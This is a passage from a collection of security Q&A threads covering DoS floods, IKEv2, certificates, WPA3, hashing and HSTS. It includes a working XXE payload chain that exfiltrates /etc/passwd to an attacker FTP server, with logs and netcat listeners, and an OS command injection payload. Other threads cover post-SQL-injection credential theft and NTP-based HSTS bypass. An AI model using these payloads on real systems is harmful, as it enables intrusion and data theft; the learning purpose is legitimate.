It could be that the target's available bandwidth has been exceeded and packets are being dropped.

Less commonly, it could be that some device between the target and the rest of the world was brought down by the attack.

  3- Some people told me when I'll target a home router it'd be better
  if I choose UDP flood rather than SYN or ICMP flood as method. Is it
  true ? If it's true why ?

You'll have to ask the person who told you this. If I had to guess I'd say it's because UDP is less constrained by congestion.


IKEv2 Using Different PSKs We're setting up some new tunnels and have been told to use IKEv2. I understand that IKEv2 allows different authentication methods, e.g. one side using PSK and the other using a certificate. We don't have a PKI so it'll have to be PSK for now.

I can see it's possible to use the same PSK (like IKEv1) or different PSKs on either end such that:

Device1: local psk = Key1, remote psk = Key2
Device2: local psk = Key2, remote psk = Key1

So Q1: does this actually add any extra security? I guess not since both sides need to know both keys somebody getting access to Device1, say, could discover Key1 and Key2 anyway.

Just trying to figure out the point of using two different ones? Are both PSKs are used to set up a connection and both must be right? Or is only the initiator's OR responder's PSK used?

I guess we will just configure them all the same but the question came up and I had no idea what the answer was. I've looked through what I think are the relevant RFCs (6617 and 7296) but I can't find an answer to this.

No, you don't increase the security. As you point out, both peers have to know both PSKs.

  Are both PSKs are used to set up a connection and both must be right? Or is only the initiator's OR responder's PSK used?

Each peer would use its "local" PSK to produce the AUTH payload in the IKE_AUTH message it sends.

And each peer would use the "remote" PSK to verify that the received AUTH payload was produced with knowledge of the corresponding PSK (which in turn requires that same PSK).


This SSL certificate covers dozens of sites including raw.github.com, *.etsy.com, pypi.python.org, etc. Is this safe? On /r/programming, Daneel_Trevize and I found a very weird SSL certificate that seems to cover all of the following:

  a.ssl.fastly.net, *.a.ssl.fastly.net, fast.wistia.com, purge.fastly.net, mirrors.fastly.net, *.parsecdn.com, *.fastssl.net, voxer.com, www.voxer.com, *.firebase.com, sites.yammer.com, sites.staging.yammer.com, *.skimlinks.com, *.skimresources.com, cdn.thinglink.me, *.fitbit.com, *.hosts.fastly.net, control.fastly.net, *.wikia-inc.com, *.perfectaudience.com, *.wikia.com, f.cloud.github.com, *.digitalscirocco.net, *.etsy.com, *.etsystatic.com, *.addthis.com, *.addthiscdn.com, fast.wistia.net, raw.github.com, www.userfox.com, *.assets-yammer.com, *.staging.assets-yammer.com, assets.huggies-cdn.net, orbit.shazamid.com, about.jstor.org, *.global.ssl.fastly.net, web.voxer.com, pypi.python.org, *.12wbt.com, www.holderdeord.no, secured.indn.infolinks.com, play.vidyard.com, play-staging.vidyard.com, secure.img.wfrcdn.com, secure.img.josscdn.com, *.gocardless.com, widgets.pinterest.com, *.7digital.com, *.7static.com, p.datadoghq.com, new.mulberry.com, www.safariflow.com, cdn.contentful.com, tools.fastly.net, *.huevosbuenos.com, *.goodeggs.com, *.fastly.picmonkey.com, *.cdn.whipplehill.net, *.whipplehill.net, cdn.media34.whipplehill.net, cdn.media56.whipplehill.net, cdn.media78.whipplehill.net, cdn.media910.whipplehill.net, *.modcloth.com, *.disquscdn.com, *.jstor.org, *.dreamhost.com, www.flinto.com, *.chartbeat.com, *.hipmunk.com, content.beaverbrooks.co.uk, secure.common.csnstores.com, www.joinos.com, staging-mobile-collector.newrelic.com, *.modcloth.net, *.foursquare.com, *.shazam.com, *.4sqi.net, *.metacpan.org, *.fastly.com, wikia.com, fastly.com, *.gadventures.com, www.gadventures.com.au, www.gadventures.co.uk, kredo.com, cdn-tags.brainient.com, my.billspringapp.com, rvm.io

From what I can tell, the certificate exists because DigiCert authorized the Fastly CDN to represent itself as all of the above sites. Oddly enough, the certificate was found on https://www.cnn.com/ even though CNN is not on the above list.

I can't figure out how to link directly to the certificate, but it's currently available from https://www.cnn.com.  Its serial number is 06:28:1D:36:75:B4:1F:CC:B3:FF:18:FA:EC:F8:FD:DF and its SHA1 fingerprint is 98:97:03:4D:AD:78:62:48:5A:8E:24:67:ED:E8:38:21:3E:E2:4F:47.

Are we reading this correctly? If so, is it safe for these sites to share a certificate like that?

The reason the certificate is invalid for cnn.com is because cnn.com is not on the list, perhaps due to delays in processing CNN's signup for Fastly. Its not because certificate is revoked.

I see a huge security risk of this, and this is if the CDN operator creates a agreement with a untrusted individual.

Lets say Phisher creates a account with Fastly.
He creates a phishing domain like lhglfglhggddlghd.com and does the neccessary agreements with the CA to add the domain to Fastly's certificate.

Then he uploads a github phish login page to the CDN, and it possible gets a url like lhglfglhggddlghd.com/fe9f667fe9fe6f8ecd7a93332326768

Then he sends out a phish email with:
raw.github.com/fe9f667fe9fe6f8ecd7a93332326768

and people will 100% fall into the trap since both the domain and the cert will match up and even a computer savy person will think its genuine.
(Note that CDNs are often using anycast, and they must optimize their servers well, so often they don't even implement any host: checking, instead they just give each resource a unique URL)

But I think that they have mitigated the issue by implementing a strong KYC before signing someone up as customer for Fastly. Eg, only well vetted, good companies that have a business-need of using Fastly as CDN will be accepted as customers.


What are the risks associated with SSH'in from corporate LAN to untrusted server on the Internet At work (a huge organisation) I found a server on the LAN that opens SFTP connections to 2 servers across the Internet.

I assume the remote hosts are in the other parties DMZ.

I know you are not supposed to do this but I am not sure of the associated risks.

How much more risky is it to SSH (SFTP) to a remote host from your LAN than from your DMZ.

About the only thing I can think of is having the firewall rule that allows it could allow someone on this side to setup a reverse SSH session so they could get on the LAN from the outside with no audit trail.

Thanks.
sean

You've identified the main risks:

You're contacting a foreign host/network.
It is very easy to create a reverse tunnel using SSH (so the remote party can get to you)

(3. Communication stream is encrypted) ... my additional risk.

With regards to LAN vs. DMZ.  Well.. of course, it all depends.  On some LANs there might be more inspection with regards to outbound connects (?).  I mean, it really depends on your own setup, policies, etc.

Anytime you have "trusted" going to "non-trusted" (no matter what zone), you have the risks already mentioned.  Encrypting the traffic doesn't really matter as much, though it can often times confuse the issue (makes people forget that whole "trusted" going to "non-trusted" issue).

But, "are you supposed to do this?"

You effectively said "no", but again, it all depends.  The Internet is essentially a public trusted network.  We use it because it's there.  Not because it provides safety.  Thus, by definition, by default, it's certainly in the "untrusted" category for most companies.  But maybe we get enough benefit to mitigate (perception wise) the risks (??).

Firewall wise, btw, when an connection is initiated from the company (trusted) to the outside (untrusted), it is very difficult to "block" any nastiness.  And because the communication is encrypted, I'd say it is very very very difficult.


WPA3 technical doubts(1) WPA3 uses AES-128 for message encryption in Personal and 192 bits in Enterprise. Thus the secret of communication is kept using this symmetric encryption protocol. As I have understood, security problems in wireless networks  usually tend to rise not due to the encryption algorithm used (because using AES 128 would mean trying 2^128 combinations and given the current computing technologies this process is computationally untractable in human feasible time), but due to the password used (simple passwords would help reduce the space of possible passwords in a dictionary attack, hence the recommendations of using more elaborated pws) or due to the key sharing process (the handshake). Is my understanding of this correct?

To be more precise, WPA3 uses AES-CCMP because AES alone only provides data encryption, it does not guarantee integrity or authentication, but CCMP provides both integrity because it makes sure that the original message was not tampered with, thus proving authenticity. Is this information pointing in the right direction? If this is correct, could someone please elaborate a little bit more on this?

(simple passwords would help reduce the space of possible passwords in a dictionary attack, hence the recommendations of using more elaborated pws)

Actually, WPA3 uses a new algorithm called Simultaneous Authentication of Equals (SAE), which defeats offline dictionary and brute force attacks. An attacker is only able to attempt one password guess each time you connect. This is quite different from WPA2, where capturing the 4-way handshake allows an attacker to perform a fast offline attack, potentially guessing billions of candidate passwords per second. While it's still a good idea to use a complex password, failing to do so is not quite as fatal when using WPA3 as when using WPA2.

  WPA3 uses AES-CCMP because AES alone only provides data encryption, it does not guarantee integrity or authentication, but CCMP provides both integrity because it makes sure that the original message was not tampered with, thus proving authenticity. Is this information pointing in the right direction?

Correct, with one small correction. Rather than using CCMP, which uses the very slow CCM authenticated mode, WPA3 uses GCMP, which uses GCM.* GCM provides the same level of authentication as CCM without the overhead. It is the mode that is commonly used in modern TLS connections. Below, you can see the comparison of the four main encryption standards for WiFi, including a comparison of the data integrity techniques:

* I've read conflicting reports on this. It's possible that both CCMP and GCMP will be supported.


Why don't CAs sell certificates as files, instead of hardware or as a service? I'm trying to purchase multiple certificates, some just signing, some just encrypting, and some a combination of the two. I wanted to purchase one signed by a CA, rather than using a self-signed one. I just want a file, so that I can easily integrate it with some software I've written and just call the command line to sign/encrypt files.

All the CA sites I've looked at are trying to sell it as a hardware package, with physical devices like USB drives, etc. Have I misunderstood what the CAs offer, or the whole process itself? I may be unaware of what the correct thing to google is, because the research I've tried to do on this hasn't cleared anything up.

An example site is GlobalSign, if I wanted to purchase a certificate for signing a document then the page I think I would want is here: https://www.globalsign.com/en/digital-signatures/

All the options available are hardware or SaaS.

Any help is appreciated, even just links to anything you think may help point me in the right direction. Thank you.

EDIT: It was suggested this is a duplicate of another issue. I believe it is different, because it has nothing to do with Adobe standards.

For example with signing, I want to be able to generate a PKCS7 key pair/certificate and then have a CA sign my certificate so that I can use these to share files. I have already generated the certificate, I have my own software that integrates the key for automated signing.

It's rather simple:
If you want a certificate which is from a CA root that is in the Adobe’s Approved Trust List (AATL), the CA and you have to comply to the technical requirements.

EE4 c. clearly requires

  All end-entity key pairs must be stored in a secure cryptographic hardware device ...

If you don't need a certificate which complies with that, you can surely buy one or create one yourself. It will not be on the AATL of course.


How do I implement a Microsoft Login into my own website? I am trying to make a website, which hosts a form for employees to enter their shift details into. The website itself is pretty basic, meaning it is mostly just HTML and PHP code.

Obviously I need to control access and as of right now (the site is not live yet so there is no personal info etc. on there yet) I'm doing that by comparing the login input to the entries in my MySQL database, but since I'm sure this is not the best way of handling this and it would be easier for the user if he could just use his Microsoft credentials.

From what I have gathered, protocols like OAuth2.0/OpenID are used for this. Is this correct? How would I code something like this? Are there better alternatives? Where should I look to learn about stuff like this?

It would also be great if I could, besides just knowing the user is allowed in, get info about the user based on which I can make decisions (where they are redirected, what they can and cannot see etc.)

Microsoft Login is not an accurate description of any type of "modern" authentication. You could be referring to Kerberos/SPNEGO, SAML 2.0 using ADFS or OAuth 2.0 using Azure AD, etc.

As you notice, there are plenty of options to choose from when integrating web applications through single sign-on with Active Directory ("Microsoft Login"). I can't provide an specific answer since I don't know which products are available and which is the current authentication status quo of your company.

I would recommend reaching out to other developers within the organization to verify the common authentication methods that are already used. If your company already has a SAML 2.0 compliant Identity Provider, implementing the Service Provider part in your application could be an elegant and secure solution.


When to apply for a CVE? When you find a vulnerability, do you contact CVE assigners before contacting the vendor or after the vendor has fixed the problem?

PS: do not link to How are CVE identifiers assigned and managed?, as it doesn't answer my question.

You can request a CVE number without the details being published.

The timeline I have previously followed is:

Notify vendor
Request CVE number, while waiting for vendor response
Publish advisory, once issue is fixed or a certain amount of time has passed

I consider the CVE guys reasonably trustworthy, and I will disclose high-level details of the vulnerability to them before I published. They need this to avoid duplicates, but you can tell them to keep details private. If someone searches for the CVE at this point, it just says "reserved". When I publish, I copy the CVE guys and they then update the CVE entry to include the information.

You do need to get the CVE before you publish - it's pretty much essential to include a CVE number on your advisory.


Does displaying javascript content in application qualify as XSS? I ran a vulnerability scan on my application using Burp suite. Some of my input fields can take HTML code (e.g. <script>alert("exploited")</script>) and it will be displayed as text but never executed as HTML or script. To be specific it is stored as a string and is always treated as such.

Please find below screenshot:

I believe this cannot be treated as XSS vulnerability, since the script never really gets executed. Is that correct, or am I vulnerable here?

When this is the code the attacker tried to inject, then this is the intended behavior of a secure web application. The application apparently escaped the javascript code correctly and demonstrated the ability to output it as text without executing it. Note that <script>alert('you can also "inject" valid JavaScript code into Stackexchange without it getting executed by browsers of any other users')</script>.

A different solution would be to filter the user input to remove any "evil" characters like <, >, ' or ". But such solutions are only the second best, because they might result in unexpected behavior in form of overblocking non-malicious input (What do you mean, my username can't be <'_'>?) or might not catch every "evil" character an attacker might come up with.


If mysql schema is missing, where can I find credentials? After finding a sql injection vulnerability I need to provide the more information I can about the DB. Minimum I need to provide a list of users and passwords.

I identified that it's a MySQL but checking information_schema.schemata I notice there are just two databases: information_schema and abc (the one created for the problem).

mysql is missing, so from where can I get the list of users and passwords? As mysql.user is unavailable.

As DarkLighting said in comments, the mysql schema is always available because it's part of the installation, just as information_schema.

If a user can't see the mysql DB, it means he has no privileges. Likely he has the privilege USAGE. So in order to be able to get the users' credentials, first the attacker should leverage some privilege escalation vulnerability to get root access, and hence, gain access to the mysql DB where the credentials are stored.


Any risk in using the same salt for several hashes on a user? Right now I'm storing a salt and password_hash on the users table (pretty standard stuff).

The need arose to get a secure hash of another field for a user.  Is there any risk in reusing the same salt used on the password?  In other words, does using the same salt on several hashes make it easier to crack assuming the attacker had all the hashes along with the one salt?  If so how much?

Thanks!

The point, and only usage, of the salt is to prevent an attacker from attacking several N elements for less than N times the cost of attacking one. Here, "attacking" means "trying possible values until one is found which matches the known hash value". Without a salt, an attacker could compare his hashed guesses with several hash values, thus sharing the cost of computing the hash; e.g. the attacker has several hash values to attack simultaneously, or the attacker builds a precomputed table of hash values for fast lookup (modulo a space/time swap, both attacks are identical).

If you use the same salt for the password of a user, and for another field, then an attacker could try to attack them both. This will be advantageous for the attacker only if potential values for the other field are also potential passwords, and vice versa. This may or may not apply to your context.

On a general basis, salts should never be reused, if only because consequences of reuse are not easy to detail exhaustively. I recommend that you refrain from reusing your salts.


Exfiltration through FTP using XXE on a Tomcat server I'm trying to extract binary data from a Tomcat server that is using SAXParser. For my FTP server, I am using this source. I'm hosting two DTD's on Github Gist. These are their contents:

Base XML (What gets sent to the server):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "https://gist.githubusercontent.com/.../a.dtd">

&send;

a.dtd (first DTD payload):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "https://gist.githubusercontent.com/.../b.dtd">
%dtd;

b.dtd (final DTD payload):

<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://[my server ip]:2121/%file;'>">
%all;

The reason I am trying to extract /etc/passwd is because I am trying to target a binary file, but when that didn't work, I thought I'd start with something simple. I have confirmed that I have access to /etc/passwd (just retrieved it as an entity originally).

The FTP server works fine and I made sure the port was open. This is the output when the above is executed.

[WEB] Starting webserver on 0.0.0.0:8888...
[FTP] Starting FTP server on 0.0.0.0:2121...
[FTP] x has connected
[FTP] Received:
USER anonymous
[FTP] Received:
PASS Java1.8.0_131@
[FTP] > 230 more data please!
[FTP] Received:
TYPE I
[FTP] > 230 more data please!
[FTP] Received:
CWD root:x:0:0:root:
[FTP] > 230 more data please!
[FTP] Received:
CWD root:
[FTP] > 230 more data please!
[FTP] Received:
CWD bin
[FTP] > 230 more data please!
[FTP] Received:
QUIT
[FTP] > 230 more data please!
[FTP] Received:

... (a lot more blank like above)
[FTP] > 230 more data please!
[FTP] Received:

[FTP] > 230 more data please!
[FTP] Client error: [Errno 32] Broken pipe
[FTP] Connection closed with x

An issue I found while answering Luc's question is an interesting one. Basically, if the data has any slashes, the FTP client interprets it as a folder? Unsure why it stops though. Perhaps I have to write a proper response mechanism so when a CWD command comes through I give it OK or another related response.

I'm not sure what exactly is going on, but it looks like the client (your target) is sending the file's contents to the server as if it contains FTP commands. What if you just listen with netcat? Either just listen with nc -lp 2121 (or whatever your netcat variant wants for arguments, iirc some want nc -l 2121), or maybe the client expects a response in which case you could do something like this:

echo -ne '220 Ok\r\n' | nc -lp 2121

Note that FTP is a text-based protocol. Binary files will be troublesome if the client thinks it has to convert them into ASCII for the control connection. Do try, but it might be that that's your next obstacle.


Man in the Middle Attack against NTP So, lately I've been really into penetration testing and learning the nitty-gritty of tech. I'm dong courses on computer architecture, cryptography, surveillance law, and computer networks. I never realized how much I love this stuff.

So, I have an unused computer at home that I set up to play with. Right now I'm trying to sniff passwords over the network with SSLsplit and arp-spoofing. Of course, with HSTS, this becomes a little harder.

Apparently, if you can manipulate the NTP server on a target, you could then pass the max-age set by HSTS, thereby making the client connect without SSL again before HSTS sets a new one.

My question is, how do I does this? I've seen tools like delorean, but for whatever reason no matter what I type in, delorean always just displays it's help screen...

Tl;Dr How can you perform an attack on the NTP server of a computer during a man in the middle attack to move the time forward on the machine.

I am certainly no expert on NTP, so I can't give you a full answer, but:

delorean expects you to specify an interface via its IP address, as opposed to the name that is displayed in ifconfig. This was what kept me busy for a couple of hours when I tried the tool ;) Maybe you are having the same issue?


Difference between Oracle Label Security and Oracle Virtual Private Database? I am working on a class project, and our lecturer ask a question with this title, I searched in net but I could not find a clear answer. if there is difference what are they?
thanks

Oracle Virtual Private Database (VPD) is provided at no additional cost with the Enterprise Edition of Oracle Database. Oracle Label Security is an add-on security option for the Oracle Database Enterprise Edition.

Oracle VPD is a term used for several powerful security features like, fine grained access control (FGAC), application context and global application context. VPD policies are written using PL/SQL, and can be assigned to an individual table or view. An information request, that accesses a table or view protected by VPD, is modified according to the policy assigned to the table or view.

VPD policies can be as simple as enforcing access during business hours. VPD policies can restrict access by comparing the value of an attribute in an individual row with an application context value. Global application context allows an application context to be accessed across multiple database sessions, reducing or eliminating the need to create a separate application context for each user session.

Oracle Label Security is an out-of-the-box solution for row level security. No coding or software development is required, allowing the administrator to focus completely on the policy. Oracle Label Security provides an interface for creating policies, specifying enforcement options, defining data sensitivity labels, establishing user label authorizations, and protecting individual tables or schemes.

Data sensitivity labels provide a powerful and flexible method of restricting access to data. For example, data belonging to different organizations or companies can be separated using data sensitivity labels and selectively shared between companies by changing the data sensitivity label.

Depending on the complexity of the security policy, Oracle Virtual Private Database may be the preferred method for implementing your security policy. Oracle Label Security is best suited for situations where access control decisions need to be based on the sensitivity of the information.

Please search in internet little

Reference: enter link description herehttps://docs.oracle.com/cd/B28359_01/network.111/b28529/faq.htm


Does the use of plugin-id make the nessus scan intrusive in some way? I want to know when scanning using NESSUS, though it is said its non-intrusive by default But what I want to know is how the use / definition or the testing conditions mentioned in the plugin-id effect the outcome of the scan. Does these conditions or tests or checks make the scan more intrusive in some way. I.e sending crafted packets. For e.g When the plugin-id checks for default password does this change its definition of scanning/ enumerating ports alone.

I have a recent example, where the gmond service 8649 was crashed as a results of scanning. It came to knowledge, that the service / port received non service traffic / data as a result its cpu consumption went to 100%. So, if its just non-intrusive port scanner how it resulted into crashing the service of remote host? It certainly is able to generate packets/ data as well.

Actually, is it fair to say that nessus uses NMAP scans / ports scanning results for services, and version of different application to give verdict on its vulnerable state or it make use of plugin-id and others information to conclude, give confidence marks on how vulnerable the particular service may be? (More checks > same results-> higher degree of confidence).

I appreciate if someone can help me understand what actually goes inside nessus core logic when it comes to make judgements / call on such matters. (vulnerable vs not vulnerable)

Nessus isn't a tcp scanner. Nmap is a scanner which finds open ports, Nessus is a vulnerability assessment tool which first uses a scanner to find open tcp and udp ports then then performs tests on the services found. Some of the tests it can do are intrusive and should only be chosen by looking at the risks.


Why hashing algorithms in layer 2 are weak? It's known that hashing algorithms such as md5 and SHA1 are weak and can easily be cracked.

I wonder why many layer 2 and 3 devices such as cisco switches still use weak hashing algorithms but don't support strong ones ?( e.g Enable password could be hashed using type 7, or as md5 which is most strong  hashing algorithm possible to use)

The answer to this question will depend on the vendor in question, but in general the answer is likely to relate to cost, backwards compatibility and cost of upgrading.

Implementing new alorithms requires testing which costs money.  There is sometimes a requirement to support older algorithms so that older client or peer systems can still communicate with the device and also sometimes older hardware with slower processors may need upgrading to cope with more CPU intensive newer algorithms.


High level design for secure web application I'm looking for some advise on designing a secure web app for storing passwords. Why reinvent the wheel? Because I don't trust a 3rd party with all of my passwords.

Here are my thoughts:

There are 3 main components: Client, Application Server, Database Server. Ideally, I would like the system to be robust enough, so that if either the Application Server or the Database Server is compromised, the attacker doesn't get all the data (if the client is compromised, I can't see any way to protect the data).
To accomplish this, I would think doing all encryption on the Client makes sense. So, if the Database Server is compromised, they would only get encrypted data, and if the Application Server is compromised, they wouldn't get the encryption keys because the Client keeps those.
That creates at least 2 problems:

Client side crypto in this context means javascript crypto which is problematic. Here is how I'm planning to get around some of the main issues.

No good CSPRNG. Only use browsers with getRandomValues() and use a js crypto library that supports it.
Man in the middle. Force TLS for all connections (doens't help if App Server is compromised, of course).
XSS vulnerabiliy. Write a companion user script (Greasemonkey) that calculates hashes of each page on the app, and alerts the user when any page content has changed. Obviously, this will lead to false positives when you make updates, but it should allow you to detect if anyone has modified your code on the App Server or successfully injected any content into the page.

Searching on encrypted data is complicated.

I don't have a concrete solutions for this yet, but if the general plan seems feasible, there are good options out there.

I realize this question is a bit broad, so feel free to close it if it's not a good fit for the site. I'm just hoping to get some general guidance on what I might be missing or where the holes in my plan are.

Update: Thank you all for the very helpful feedback. In light of some of the issues brought up, my new plan is to make everything much simpler. Keep a single, compressed and encrypted JSON file on the server. Write a JS app that runs locally. All it does is grab the file, decrypt it locally, and then reupload it when changes are made. Thoughts?

Also, I do see your point about using a well vetted and proven system. Call me tinfoil-hat paranoid, but I just can't trust someone else with that much access. All it takes is one disgruntled employee/contributor or one security hole for you to have a really bad day.

The thing about a web app is it's fundamentally insecure if the source code (e.g. JavaScript) is delivered to the client over TLS. You can run the best encryption you want e.g. one-time pads or cascaded stream ciphers, but it will only be as secure as the ciphers and "security" in the TLS suite which is not secure against spy agencies. There have been fundamental flaws in TLS for years. Probably bad by design because NSA is on all the standards committees. Also read about the OpenSSL Heartbleed fiasco. Not to mention the whole protocol is trivially insecure against nation state adversaries with just one CA in their pocket. All they need to do is MITM the connection and swap in a few lines of dodgy JavaScript to steal the encryption keys and passwords.

You have to make a browser extension or run the web code locally from the file path. Use CORS to make requests to the application server. All code is loaded and run locally. All encryption done client side. No server delivered code.

You can also add custom code on the client and application server to encrypt the transport traffic from the client to the app server to protect the meta data as well if you want.


SSL Private Key Reuse (DROWN attack) We run a SSL test against our payment server.
One of the observations is that it's vulnerable to DROWN attack and report shows that there's 2 of our servers that are sharing the same SSL private key with our payment server.

Sysadmin tells me this is not possible.

Question: How to demonstrate these 2 servers are sharing private key with our payment server?

DROWN does not mean that your servers share the same private key (you would have to copy and paste the keys from one server to the other, more work than just generating a new one)
DROWN is about using weak ciphers like SSLv2 export ciphers where known attacks can lead to a decryption on traffic.
I would suggest you read that:

https://blog.cryptographyengineering.com/2016/03/01/attack-of-week-drown/
and that https://drownattack.com/
and maybe their paper: https://drownattack.com/drown-attack-paper.pdf

How can you proof it? Have a look at the TLS configuration of your vulnerable servers - you will see that legacy ciphers are in use in your config (if not, maybe it's a false positive).


What kind of information gets shared while pairing a device using Bluetooth? I am using LGKp500 phone. My software version is KP500AT_V10h. Its a simple touch phone. It's not a smartphone. Now can anyone tell me, when Im pairing my phone with another phone using bluetooth (simple version), does my contacts and messages gets visible in the other person's phone? I mean does the other person gets to see all of my phone's contacts, messages?

I know about the permission part. And while pairing the device, it only asks "ACCEPT CONNECTION REQUEST FROM device_name? Yes/No", now if chosen "yes" then the device is paired up. No other permission is requested or asked for accessing my files.

The phone with which my phone is being paired up, is a Smartphone. But my phone is not a smartphone. Its an old phone.

As I don't have the reputation to comment or mark this question as a duplicate I'll provide you the information you require.

Adi has a wonderful answer to what I believe is your question (link below):

What can an attacker do with Bluetooth and how should it be mitigated?

Of which I believe only the

  "What can an attacker do once a malicious device is paired with mine?"

matters to you.

The answer to this is dependent on the device you're using and the Bluetooth  profiles (sort of like Bluetooth standards/protocols) it supports. I've provided a link of the various profiles and what they can be used for: https://en.wikipedia.org/wiki/List_of_Bluetooth_profiles#OBject_EXchange_.28OBEX.29

I wasn't able to find the profiles your phone supports, but I believe that if both phones support the same profiles they will be able to interact with each other using them.


Is it safe to generate a password for a user during sign up in a web application? I'm working on updating a web application. It currently creates a password for a user during sign up. Is asking the user to create the password themselves safer than relying on a generated password?

That totally depends on your application and its requirements.

If your applications needs to verify users' email addresses, then you can send them a randomly generated token (one-time use and valid for a limited time period) for the first-time login, on the email address that they provided during sign-up. And ask them to set their own password after they use that random token to login. This way you are also verifying their email address.

If you are not concerned with email verification, you can simply ask them to choose a strong password during the sign up. In this case, don't forget to re-authenticate the users just after they sign up.

In any case, make sure that your users choose a strong password, by complying with a strong password policy. Also make sure that all password related functionality in your application (forgot password, reset password, etc.) also comply with your application's password policy.


Remote OS command injection - tests ZAP scanner found Remote OS command injection.

Is there any foolproof way to check if this works and is not a false positive?

I have tried to make it sleep 50 seconds but it's not something I can visually see, also the page does not seem to take longer to load.

This is the URL the scanner found vulnerable:

http://*SECRET*/*SECRET*?from&to

This is the exploit:

Attack: ACG"&sleep 5s&"

So I assume I should write the URL like this to exploit it:

http://*SECRET*/*SECRET*?from=ACG&sleep 5s&to=AMR

The above does not appear to make page take longer to load. Either I made a typo, or perhaps it is not vulnerable as the URL gets sanitized to:

ACG&sleep%205s&to=AMR

Automatic vulnerability scanners often produce false positives with timing based payloads.

This is because the scanner only checks if the request takes longer than the injected pause. If there is high network traffic - possibly because your scanner produces a lot of requests - this may happen even though the payload was not executed.

This means that you should always manually confirm timing based payloads (as you should confirm any other findings).

It's not quite clear to me what the actual payload is here. There are really two possibilities:

& is meant to be encoded, so the query string would be: ?from=ACG%22%26sleep%205s%26%22&to=AMR. This is the likely case. The vulnerable parameter would be from, and the payload would be ACG%22%26sleep%205s%26%22. It would exit the current string context via ", then add an additional command via & (which can be used to add additional commands in windows and linux), and finally get rid of the trailing " by adding another command via &.
& is not meant to be encoded, so you would add an additional parameter named sleep%005s with no value (less likely, but still possible).

You should try out both variants, first with a command that produces a visible result - such as id, ls, dir, etc - and then with a timing command such as sleep.


HSTS extra security over HTTPS Is HSTS good to use even if my servers are configured to use HTTPS (when HTTP is used, the rewrite rules in Apache turns it into HTTPS)?

Also should HSTS be used even on resources like CSS and images, or just when the content type is text/html?

Yes, strict transport security provides a real benefit.

HSTS tells the browser to only communicate with the server via HTTPS. The first time the browser sees the HSTS header from the server, it remembers it. When the user visits the site again, the browser enforces that all communication is done via HTTPS. This will work as long as the attacker doesn't strip the header on the first visit to the site.

This prevents SSL-stripping attacks, a form of man-in-the-middle attack which presents the user with a clear-text resource instead of the SSL one. Normally, the user would not be alerted, and most "average" users wouldn't spot that the SSL padlock or green/blue highlight isn't shown in the URL bar. In the case of HSTS, the browser would immediately warn the user that the browser is attempting to violate its own security policy.

Client creates a clear-text connection to the server.
Server responds with a redirect to the HTTPS address, with the HSTS header set.
Client and server communicate over SSL.
Session ends.
Client comes back later, browser has stored the HSTS flag for this domain.
Attacker attempts to perform SSL-strip attack, and serves clear-text to the client.
Client recognises that the HSTS policy disallows this, and alerts the user.

For further security, some are proposing that HSTS be implemented as an option in DNSSEC, so that the HSTS header is set as part of the DNS lookup. Since DNSSEC provides strong security through pre-distributed authority certificates, this would make it exceedingly difficult for an attacker to defeat the HSTS mechanism, even if they are actively attempting to SSL-strip on the first visit to the site.


Using X-actual-recipient to divert email Has anyone noticed exploits involving the use of "X-Actual-Recipient" to covertly divert e-mail from an intended recipient to someone else? I have been told that only someone with root access on the recipient's mail service provider could insert an X-Actual-Recipient directive into the header of a message. It is not clear to me where X- directives are spun into the header information of an e-mail message. Can a sender do this kind of thing? Can the sender's ISP do this kind of thing? Or is it only on the receiving end that X- directives may be added in to the header information?

Thanks.

We can simplify this issue and say that any email administrator (or root account on an MTA) can redirect, bcc,  resubmit, edit or delete any or all email on that given server "covertly".  In other words, without the sender or recipient knowing about it.  This modification can happen on the sender's side, recipient, any MTA in their path, or ISP (PRISM).

If such a modification were to occur then something called the "message envelope" would be right place to make this happen since it doesn't appear in the email headers.  The only risk I could find regarding X-Actual-Recipient is that it may disclose the target email address in an NDR.   If this header did affect mail routing than it would be worrisome, because that email server might as well be considered an open relay.

To correct this issue you should consider any of the technologies and implementations listed here:


Resources for reviewing multi-tiered webabbs in Spring, Hibernate or JAX-WS I need some pointers to any resources (videos from any conferences or general videos, pdf, anything) for secure source code reviewing of multi-tiered web-apps in JAX-WS, Spring or Hibernate. I am especially interested in know what are the security vulnerabilities that can occur when using these specific frameworks. I am currently reading the Chapters 17, 18 and 19 of the 2nd edition of Web Application's Hacker's Handbook. I think its good but I get a feeling that it just scratches the surface (or a kind of intro stuff). I'm not saying its not good, but I want to read more about it. Any links would be helpful.

Thanks!

I myself am not too familiar with the frameworks that you have detailed, but there are some great generic resources at your disposable relating to vulnerabilities per framework/product or vendor. The two I frequent are CVE Details and CWE Mitre. Both sites allow for search for vulnerabilities that relate to your frameworks. I prefer CVE details, as it provides a great list of references, some of which may include conferences or the pdfs you are searching for.


How could supply chain counterfeiting be combated by using a blockchain? In the popular technology and business press (e.g. example1, example2 and example3) there is a lot of excitement around the application of a blockchain to "revolutionize the supply chain" of physical products. It is argued that it can be used to combat "counterfeiting, forced labor and poor conditions in factories". Is this just hype?

While I have a basic understanding of a blockchain as a distributed ledger database providing a sense of trust, transparency and accountability in digital interactions. I do not see how this necessarily translates to the physical world.

Blockchain seems well suited to things like digital currencies as digital interactions/transactions can be directly mediated and thus observed and recorded. However this is not the case with physical objects where some form of data input, usually via humans is required. Any system is only reliable as the data input into it and this requirement creates opportunity for error and manipulation.

As mentioned above, blockchain creates trust between participants of an exchange, however it is easy to imagine a situation where the participants might falsify or subvert (knowingly or unknowingly) what is entered into the blockchain and present counterfeit items as genuine. As I understand it it would be difficult to trace as the items would be recorded as genuine in the block chain.

While it is possible to imagine unique physical identifiers that have to be checked and recorded at each stage I see no reason why these too could not be counterfeited and this would not be a feature of blockchain rather an additional technology.

While using a blockchain would provide a record of all aspects of a product's supply chain, the same could be said of any ledger system providing all participants agree to participate in using it. This seems like a difficult task which blockchain does not specifically solve.

Despite all this there are examples of large companies looking to implement blockchain into their supply chains (e.g. Walmart, Maersk and IBM). Am I missing something or is the application of a blockchain to the physical world just hype?

There are essentially two categories of answer to your question: blockchain as a better ledger, and blockchain combined with physically unclonable functions to do the things you seek.

Blockchain As A Better Ledger

Blockchain can function as a better public ledger system than existing paper-based or even traditional, single source, trusted electronic counterparts, in many respects:

It is distributed: Many separate servers maintain individual blockchain logs, ensuring that an outage by some few of them will not deny service to the remaining ones.  You can count on some ledger being available for verification.
It is hard to corrupt: Assuming that more than half of the blockchain servers are honest (and available), the logs among all honest servers will be identical.
